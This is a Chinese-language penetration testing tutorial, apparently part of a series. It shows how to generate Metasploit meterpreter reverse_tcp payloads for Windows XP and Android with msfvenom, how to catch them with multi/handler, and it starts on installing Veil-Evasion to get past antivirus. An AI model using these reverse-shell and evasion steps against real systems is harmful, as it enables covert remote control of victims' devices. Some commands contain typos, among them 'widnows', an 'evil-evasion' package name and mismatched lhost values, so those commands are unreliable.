发现漏洞后
经过前面的步骤后,我们已经发现了漏洞,接下来就是向目标系统发送一个程序,这个程序通常由两个子程序构成:
- 一个是针对目标漏洞的渗透程序A
- 一个是在目标系统完成指定任务的程序B
进行渗透的时候,我们将子程序A和子程序B一起发送到目标系统的特定端口上,子程序A会利用目标系统的漏洞,在目标系统上执行子程序B,子程序B的作用是在目标上执行一些任务,比如远程控制、信息监听、文件下载等。
渗透测试模块
如果把漏洞比作是一栋建筑物中上了锁的入口的话,那么我们现在需要做的就是一把能打开入口的钥匙,这把钥匙就是渗透测试模块(子程序A),我们的工作就是要找到这个渗透测试模块。我们可以通过https://www.exploit.db.com/ 来搜索渗透测试模块,也可以使用kali linux自带的漏洞库。(请参阅渗透测试(5))
查找某个软件漏洞的方式是在终端输入以下命令:(此处以easyFileSharing为例)
searchsploit 软件名
searchsploit easy file sharing
远程控制
上文中我们把漏洞渗透模块比作一把进入目标系统的钥匙,现在我们已经获得了这把钥匙,接下来可以把一段代码(Shellcode)送到目标系统并执行。
远程控制程序
指的是可以在一台设备上操纵另一台设备的软件。远程控制程序分为两个部分,被控端和主控端。远程控制软件的分类有很多,最为常用的两个标准如下所示:
- 按照远程控制软件被控端与主控端的连接方式:将远程控制软件分为正向和反向。(正向远程控制中,被控端只会在自己的主机上打开一个端口,然后等待主控端计算机的连接,所以使用这种方式主控端必须知道被控端的IP地址;但在反向远程控制中,主控端不需要知道被控端的IP地址,只需把这个远程控制程序发送给被控端即可)。
- 按照目标操作系统的不同分类:比如在Windows平台下使用的远程控制程序对于Android操作系统是没有用的。
在kali中对WindosXP进行远程控制
在Kali中生成被控端
生成被控端只需要考虑4点:
- 选用哪个payload
- 设置payload参数
- 输出payload格式
- 输出payload位置
在kali中生成远程控制被控端程序,在kali终端输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.134 lport=5000 -f exe -o /root/payload.exe
- -p 指定要生成的payload(攻击载荷),如果要使用自定义的payload,则使用-或stdin指定,上例中的windows/meterpreter/reverse_tcp是一个用于Windows平台下的反向远程控制程序。
- lhost 指定接收被控端信息的主机(攻击载荷的参数之一)
- lport 指定接收被控端信息的端口(攻击载荷的参数之一)
- -f 指定输出的格式(可以使用-help–format来获得msf支持的输出格式列表)
- -o 指定存储攻击载荷(payload)的路径
该命令执行后,会在参数-o后指定的路径中建立一个文件payload.exe,将该文件放入被控端主机中(WindowsXP系统)。
注:上述lhost、lport都是攻击载荷的参数,攻击载荷不同,需要设置的参数也不同,可以使用
在kali中启动主控端
在主控端主机(kali)中启动metasploit(请参阅渗透测试(5)):
msfconsole
在Metasploit使用handler来作为主控端:
msf> use exploit/multi/handler
对主控端进行设置:
msf> set payload widnows/meterpreter/reverse_tcp //设置攻击载荷
msf> set lhost 192.168.190.135 //设置攻击载荷的参数
msf> set lport 5000 //设置攻击载荷的参数
执行攻击:
msf> exploit
整体过程如下,出现最后一行表示攻击程序启动成功
在被控端(windowsXP)打开payload.exe文件,然后会在主控端出现以下字样,表示已经成功取得被控端的控制权,在meterpreter后输入相关操作对被控端(WindowsXP)进行控制。
meterpreter在各种操作系统中的应用
上述我们使用的被控端程序是基于Metasploit中提供的windows/meterpreter/reverse_tcp生成的。Metasploit分类下提供大量的被控端程序,后面介绍的payload也可以等同于被控端程序,,使用如下命令可以查看所有可使用的payload:
msfvenom -l payloads
得到的结果如图所示:
Name为Payload的名称,Description是对漏洞的描述。
- 所有payload模块的名字都使用三段式的标准,就是采用针对的操作系统+控制方式+模块具体名称组成,比如上例中的windows/meterpreter/reverse_tcp
- payload提供的控制方式主要有shell和meterpreter等几种
- 在最后面的模块名称中一般会表明是正向还是反向方式,以及采用哪一种网络协议进行传输。
每个Payload在使用的时候都需要设置一些参数,可以使用选项–payload-options来查看这个payload需要设置的参数:
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
meterpreter在安卓系统的应用
测试用的手机应与kali计算机连在同一局域网内(kali虚拟机采用桥接模式)
在Kali平台下实施如下操作
- 创建andriod平台下的远程控制程序:
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.190.138 lport=5000 R>/root/payload.apk
- R> 因为msfvenom命令中默认没有apk这种可以直接在Android操作系统执行的文件格式,使用此参数可以保持文件原格式,就不必再使用-f -o指定输出格式和输出文件的位置。
- 其他所有参数与攻击Windows操作系统下的命令含义相同。
- 在Metasploit中执行以下命令:
use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.190.138 set lport 5000 exploit
- 在手机上启动payload.apk程序,即可在kali上执行远程控制程序。
- 连接成功过后使用help命令可以查看meterpreter在android系统中适用的指令
使用Veil-Evasion绕过杀毒软件
安装veil-Evasion
kali并没有安装好Veil,在终端输入以下命令:
apt-get install evil-evasion